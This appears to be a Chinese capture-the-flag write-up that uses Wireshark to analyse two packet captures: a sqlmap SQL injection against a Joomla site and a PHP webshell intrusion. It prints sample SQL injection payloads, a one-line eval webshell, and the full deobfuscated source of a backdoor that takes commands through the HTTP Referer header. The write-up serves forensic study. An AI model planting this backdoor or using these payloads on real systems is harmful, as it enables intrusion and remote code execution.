Wireshark流量分析例题

目录

一、题目一

二、题目二

一、题目一

题目要求:

1.黑客攻击的第一个受害主机的网卡IP地址

2.黑客对URL的哪一个参数实施了SQL注入

3.第一个受害主机网站数据库的表前缀(加上下划线例如abc)

4.第一个受害主机网站数据库的名字

看到题目SQL注入,那就首先过滤http和https协议

过滤后可以看到两个出现次数比较多的ip,202.1.1.2和192.168.1.8,可以看到202.1.1.2对192.168.1.8进行了攻击

这里第一个问题的答案就出来了,受害主机网卡IP是192.168.1.8 ,202.1.1.2为攻击者IP

然后直接看源IP为202.1.1.2的http请求包

这里随便先看一个包,urlcode解码后如下

可以看到黑客使用了SQL注入,试图构造存储型xss

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(&XfqR=2916 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',tab

再看一个包,同样urlcode解码

分析后发现仍在尝试SQL注入,注入工具sqlmap,注入点为list[select]

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(" OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(883

然后我们去追踪一个SQL注入的TCP流

可以看到数据库为MariaDB,已经报错,而且表前缀为ajtuc_

要找到数据库名的话,我们最好去最后那几条去找,看到url中如果包含schema关键字,那大概率就是数据库名

这里的数据库名使用十六进制解码,解码出来就是joomla

答案:

1.黑客攻击的第一个受害主机的网卡IP地址

192.168.1.8

2.黑客对URL的哪一个参数实施了SQL注入

list[select]

3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)

ajtuc_

4.第一个受害主机网站数据库的名字

joomla

二、题目二

打开2.pcap

题目要求:

1.黑客第一次获得的php木马的密码是什么

2.黑客第二次上传php木马是什么时间

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求

所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑

正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"

其实一句话木马密码已经出来了,就是zzz

这里他上传的一句话木马应该是 <?php eval($_POST['zzz']);?>

然后又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码

此时z0传入base64编码后的数据,便可以执行恶意代码

解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

第二题是第二次上传木马的时间

没有头绪的话来分析下过滤出来的这几个包,其他参数都一样,重要的是Length这个字段

第一个包毋庸置疑是会比其他包长一点,但是第四个包很奇怪,和其他包相比长了150多字节左右

追踪tcp流

可以明显看到z2很不正常,其他参数都是urlcode和base64编码

z2使用十六进制编码,我们来解码看一下

这样的PHP代码是通过混淆过的,让我们根本看不懂他的代码

原后的代码:

<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
 
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

检查后发现create_function函数,这个函数是可以执行命令的

官方也提示这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患

说明黑客是利用了create_function函数来上传了自己的木马

时间的话,ctrl+f,选择分组详情,选择字符串,搜索time字符串,时间就出来了

Feb 7, 2018 17:20:44.248365000 中国标准时间

然后我们来分析一下这个木马

木马要利用,就必然会与数据包进行交互,仔细看看这两行代码

$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

这两行代码是获取http请求中的referer和accept_language字段的,与数据包产生了交互

所以可以基本断定这两个字段是黑客用来传输他想执行的命令的

我们随便看一个访问footer.php的包

发现Referer字段长度很不正常,Accept-Language字段正常

所以可以基本确定,木马通过HTTP协议中的referer头传递数据

答案

1.黑客第一次获得的php木马的密码是什么

zzz

2.黑客第二次上传php木马是什么时间

17:20:44.248365

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

Referer

相关推荐
一个很帅的帅哥几秒前
axios(基于Promise的HTTP客户端) 与 `async` 和 `await` 结合使用
javascript·网络·网络协议·http·async·promise·await
做人求其滴6 分钟前
信安 实验1 用Wireshark分析典型TCP/IP体系中的协议
tcp/ip·wireshark
汽水配辣条1 小时前
安装selenium、chrome、chromedriver.exe相对应的版本
chrome·selenium·测试工具
安科瑞刘鸿鹏2 小时前
分布式光伏发电系统如何确保电能质量达到并网要求?
服务器·网络·分布式·嵌入式硬件·能源
qq_433716952 小时前
UI自动化测试的边界怎么定义?
自动化测试·软件测试·测试工具·jmeter·ui·接口测试·postman
明天…ling4 小时前
Web前端开发
前端·css·网络·前端框架·html·web
温有情4 小时前
UDP_SOCKET编程实现
网络·网络协议·udp
MonkeyKing_sunyuhua4 小时前
安装 `privoxy` 将 Socks5 转换为 HTTP 代理
网络
pemper_5 小时前
数据不出境------IP证书申请
网络·网络协议·tcp/ip·http·https·ssl
网络研究院5 小时前
大型语言模型 (LLM) 劫持攻击不断升级,导致每天损失超过 100,000 美元
网络·人工智能·安全·语言模型·攻击·劫持